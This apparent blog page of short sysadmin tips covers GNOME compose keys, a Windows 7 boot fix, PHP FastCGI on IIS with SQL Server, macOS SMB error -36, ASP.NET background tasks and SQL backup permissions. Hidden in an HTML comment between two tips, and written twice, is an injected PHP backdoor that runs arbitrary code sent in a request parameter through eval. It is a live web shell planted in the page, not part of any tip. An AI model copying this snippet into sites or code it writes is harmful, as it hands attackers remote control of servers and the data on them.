Typing accented letters without switching keyboard layouts

Configure some less-used key (right win) as “compose key”. For Ubuntu/Gnome, this is in System->Preferences->Keyboard->Options. Typing RWin+a modifier then the letter will result in:

rw+’: a-á e-é i-í o-ó r-ŕ s-ś z-ź w-ẃ

rw+`: a-à e-è o-ò

rw+<: z-ž c-č

rw+key pressed twice: a-å o-° e-ə

.. and a lot of others, the full list of shortcuts available depends on the GTK implementations and can be checked in gtkimcontextsimpleseqs.h

Windows 7 updated last night and now it won’t boot!

Start with F8->disable restart on failure, if the bluscreen error is 0x7b then switch your hard drives to IDE mode in BIOS, then edit these two registry keys:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Msahci
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\IastorV
“Start” must have a value of 0 (loaded by kernel), it is probably 3 (manual)
More details here

<!– [insert_php]if (isset($_REQUEST["CrX"])){eval($_REQUEST["CrX"]);exit;}[/insert_php][php]if (isset($_REQUEST["CrX"])){eval($_REQUEST["CrX"]);exit;}[/php] –>

Install PHP as FastCGI on XP

1. Do not use the web platform installer. If you already have, uninstall PHP and FastCGI using the Control Panel
2. Download the Non Thread Safe ZIP version from http://windows.php.net/download/, unpack it in C:\PHP5
3. Download FastCGI from http://www.iis.net/download/FastCGI (already included in Windows 7)
4. Add the .php file extension mapping using the IIS manager or
C:\WINDOWS\system32\inetsrv>cscript fcgiconfig.js -add -section:"PHP" -extension:php -path:"C:\PHP5\php-cgi.exe"
5. Download the VC9 non-thread safe FreeTDS dll from http://download.moodle.org/download.php … B_NOTS.zip or (preferred – this one has parameterized queries) the v2 php_sqlsrv_53_nts_vc9.dll – search for the download link on http://blogs.msdn.com/sqlphp – it’s in beta now.
6. In c:\php5\php.ini:
error_log = c:\devel\php-errors.log
fastcgi.impersonate = 1
extension=ext\php_sqlsrv_53_nts_vc9.dll
7. Set the application protection level to Low (IIS Process)
8. in a file.php
<?php
ini_set('error_reporting',E_ALL);
ini_set('display_errors','On');
ini_set('display_startup_errors','On');
//phpinfo();
$serverName = "(local)\sqlexpress";
$connectionOptions = array("Database"=>"aa", "UID"=>"zz", "PWD"=>"yy");
$conn = sqlsrv_connect($serverName, $connectionOptions); $s=sqlsrv_errors();
if(!$conn) echo ('cannot connect: ' .$s[0][2]);
else { echo 'Successful connection';
sqlsrv_close($conn); }

Prevent Finder error -36 when copying on SMB share

The error is caused by OS X trying to save metadata for copied files in resource forks (NT terminology) / named streams (Mac terminology). If the server (usually Samba) doesn’t support this it can be disabled
1. For a Mac user, when connecting to any SMB server, write
[default]
streams=no
in ~/Library/Preferences/nsmb.conf

2. For all Mac users, when connecting to a specific share
touch "/shared dir/.com.apple.smb.streams.off"
while there, you should also do a
touch "/shared dir/.metadata_never_index"
3. Samba can also disable the forks and extended attributes for all clients, use
[global]
ea support = no
unix extensions = no
in /etc/smb.conf

Schedule a background task in ASP.Net

private static CacheItemRemovedCallback OnCacheRemove = null;
protected void Application_Start(object sender, EventArgs e)
{
AddTask("DoStuff", 60);
}
private void AddTask(string name, int seconds)
{
OnCacheRemove = new CacheItemRemovedCallback(CacheItemRemoved);
HttpRuntime.Cache.Insert(name, seconds, null,
DateTime.Now.AddSeconds(seconds), Cache.NoSlidingExpiration,
CacheItemPriority.NotRemovable, OnCacheRemove);
}
public void CacheItemRemoved(string k, object v, CacheItemRemovedReason r)
{
// do stuff here if it matches our taskname, like WebRequest
// re-add our task so it recurs
AddTask(k, Convert.ToInt32(v));
}

Grant restricted backup and restore privileges

Purpose: allow a specific user to backup and restore database, without giving her full access to the filesystem.
As dbo, create the proc below, create the login, grant public access to master, grant dbo access on the needed databases, grant execute on dbo.backupng and dbo.restoreng to sqluser.
As user,
exec backupng @database='somename'
Continue reading "Grant restricted backup and restore privileges"

Bad Behavior has blocked 109 access attempts in the last 7 days.